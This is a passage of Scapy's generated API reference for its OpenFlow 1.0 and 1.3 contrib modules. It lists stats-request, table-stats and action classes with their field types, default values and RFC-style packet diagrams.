+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OUT PORT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTStatsRequestFlow                     


OFPTStatsRequestFlow fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	1



	flags

	FlagsField

	<Flag 0 ()>



	match

	PacketField

	<OFPMatch  |>



	table_id

	ByteEnumField

	255



	pad

	ByteField

	0



	out_port

	ShortEnumField

	65535















	
class scapy.contrib.openflow.OFPTStatsRequestPort(_pkt, /, *, version=1, type=16, len=None, xid=0, stats_type=4, flags=<Flag 0 ()>, port_no=65535, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1045-L1054]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORT NO            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTStatsRequestPort                     


OFPTStatsRequestPort fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	4



	flags

	FlagsField

	<Flag 0 ()>



	port_no

	ShortEnumField

	65535



	pad

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow.OFPTStatsRequestQueue(_pkt, /, *, version=1, type=16, len=None, xid=0, stats_type=5, flags=<Flag 0 ()>, port_no=65535, pad=0, queue_id=4294967295)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1091-L1101]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORT NO            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTStatsRequestQueue                    


OFPTStatsRequestQueue fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	5



	flags

	FlagsField

	<Flag 0 ()>



	port_no

	ShortEnumField

	65535



	pad

	XShortField

	0



	queue_id

	IntEnumField

	4294967295















	
class scapy.contrib.openflow.OFPTStatsRequestTable(_pkt, /, *, version=1, type=16, len=None, xid=0, stats_type=3, flags=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L996-L1003]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTStatsRequestTable                    


OFPTStatsRequestTable fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	3



	flags

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.openflow.OFPTStatsRequestVendor(_pkt, /, *, version=1, type=16, len=None, xid=0, stats_type=6, flags=<Flag 0 ()>, vendor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1120-L1128]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATS TYPE          |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VENDOR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTStatsRequestVendor                    


OFPTStatsRequestVendor fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	stats_type

	ShortEnumField

	6



	flags

	FlagsField

	<Flag 0 ()>



	vendor

	IntField

	0















	
class scapy.contrib.openflow.OFPTVendor(_pkt, /, *, version=1, type=4, len=None, xid=0, vendor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L701-L707]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VENDOR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPTVendor                          


OFPTVendor fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	4



	len

	ShortField

	None



	xid

	IntField

	0



	vendor

	IntField

	0















	
class scapy.contrib.openflow.OFPTableStats(_pkt, /, *, table_id=0, pad=0, name='OFP_TABLE_STATS', wildcards1=<Flag 3 (DL_VLAN_PCP+NW_TOS)>, nw_dst_mask=63, nw_src_mask=63, wildcards2=<Flag 255 (IN_PORT+DL_VLAN+DL_SRC+DL_DST+DL_TYPE+NW_PROTO+TP_SRC+TP_DST)>, max_entries=0, active_count=0, lookup_count=0, matched_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1006-L1030]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1008-L1009]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      NAME                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       WILDCARDS1      |NW DST MASK|NW SRC MASK|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WILDCARDS2  |                  MAX ENTRIES                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  ACTIVE COUNT                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  LOOKUP COUNT                 |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 MATCHED COUNT                 |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. OFPTableStats                        


OFPTableStats fields






	table_id

	ByteField

	0



	pad

	X3BytesField

	0



	name

	StrFixedLenField

	'OFP_TABLE_STATS'



	wildcards1

	FlagsField

	<Flag 3 (DL_VLAN_PCP+NW_TOS)>



	nw_dst_mask

	BitField  (6 bits)

	63



	nw_src_mask

	BitField  (6 bits)

	63



	wildcards2

	FlagsField

	<Flag 255 (IN_PORT+DL_VLAN+DL_SRC+DL_DST+DL_TYPE+NW_PROTO+TP_SRC+TP_DST)>



	max_entries

	IntField

	0



	active_count

	IntField

	0



	lookup_count

	LongField

	0



	matched_count

	LongField

	0















	
class scapy.contrib.openflow.OFPacketField(name: str, default: Optional[K], pkt_cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L563-L572]

	Bases: PacketField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L564-L572]

	








	
class scapy.contrib.openflow.OpenFlow(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L271-L307]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L274-L307]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.openflow3

OpenFlow v1.3.4

OpenFlow is an open standard used in SDN deployments.
Specifications can be retrieved from https://www.opennetworking.org/


	
class scapy.contrib.openflow3.MatchField(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L662-L680]

	Bases: PacketField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L666-L680]

	








	
class scapy.contrib.openflow3.OFPAT(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L749-L758]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L750-L755]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L757-L758]

	








	
class scapy.contrib.openflow3.OFPATCopyTTLIn(_pkt, /, *, type=12, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L882-L886]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATCopyTTLIn                        


OFPATCopyTTLIn fields






	type

	ShortEnumField

	12



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPATCopyTTLInID(_pkt, /, *, type=12, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1156-L1159]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATCopyTTLInID                       


OFPATCopyTTLInID fields






	type

	ShortEnumField

	12



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATCopyTTLOut(_pkt, /, *, type=11, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L875-L879]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATCopyTTLOut                       


OFPATCopyTTLOut fields






	type

	ShortEnumField

	11



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPATCopyTTLOutID(_pkt, /, *, type=11, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1150-L1153]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATCopyTTLOutID                      


OFPATCopyTTLOutID fields






	type

	ShortEnumField

	11



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATDecMPLSTTL(_pkt, /, *, type=16, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L897-L901]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATDecMPLSTTL                       


OFPATDecMPLSTTL fields






	type

	ShortEnumField

	16



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPATDecMPLSTTLID(_pkt, /, *, type=16, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1168-L1171]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATDecMPLSTTLID                      


OFPATDecMPLSTTLID fields






	type

	ShortEnumField

	16



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATDecNwTTL(_pkt, /, *, type=24, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L957-L961]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATDecNwTTL                        


OFPATDecNwTTL fields






	type

	ShortEnumField

	24



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPATDecNwTTLID(_pkt, /, *, type=24, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1216-L1219]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATDecNwTTLID                       


OFPATDecNwTTLID fields






	type

	ShortEnumField

	24



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATExperimenter(_pkt, /, *, type=65535, len=8, experimenter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1007-L1011]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATExperimenter                      


OFPATExperimenter fields






	type

	ShortEnumField

	65535



	len

	ShortField

	8



	experimenter

	IntField

	0















	
class scapy.contrib.openflow3.OFPATExperimenterID(_pkt, /, *, type=65535, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1240-L1243]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPATExperimenterID                     


OFPATExperimenterID fields






	type

	ShortEnumField

	65535



	len

	ShortField

	None















	
class scapy.contrib.openflow3.OFPATGroup(_pkt, /, *, type=22, len=8, group_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L942-L946]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GROUP ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPATGroup                          


OFPATGroup fields






	type

	ShortEnumField

	22



	len

	ShortField

	8



	group_id

	IntEnumField

	0















	
class scapy.contrib.openflow3.OFPATGroupID(_pkt, /, *, type=22, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1204-L1207]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATGroupID                         


OFPATGroupID fields






	type

	ShortEnumField

	22



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATID(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1048-L1057]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1049-L1054]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1056-L1057]

	








	
class scapy.contrib.openflow3.OFPATOutput(_pkt, /, *, type=0, len=16, port=0, max_len=65535, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L761-L767]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MAX LEN            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPATOutput                         


OFPATOutput fields






	type

	ShortEnumField

	0



	len

	ShortField

	16



	port

	IntEnumField

	0



	max_len

	ShortEnumField

	65535



	pad

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow3.OFPATOutputID(_pkt, /, *, type=0, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1063-L1066]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATOutputID                        


OFPATOutputID fields






	type

	ShortEnumField

	0



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATPopMPLS(_pkt, /, *, type=20, len=8, ethertype=34887, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L927-L932]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ETHERTYPE           |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATPopMPLS                         


OFPATPopMPLS fields






	type

	ShortEnumField

	20



	len

	ShortField

	8



	ethertype

	ShortField

	34887



	pad

	XShortField

	0















	
class scapy.contrib.openflow3.OFPATPopMPLSID(_pkt, /, *, type=20, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1192-L1195]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATPopMPLSID                        


OFPATPopMPLSID fields






	type

	ShortEnumField

	20



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATPopPBB(_pkt, /, *, type=27, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1000-L1004]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPATPopPBB                         


OFPATPopPBB fields






	type

	ShortEnumField

	27



	len

	ShortField

	8



	pad

	XIntField

	0















	
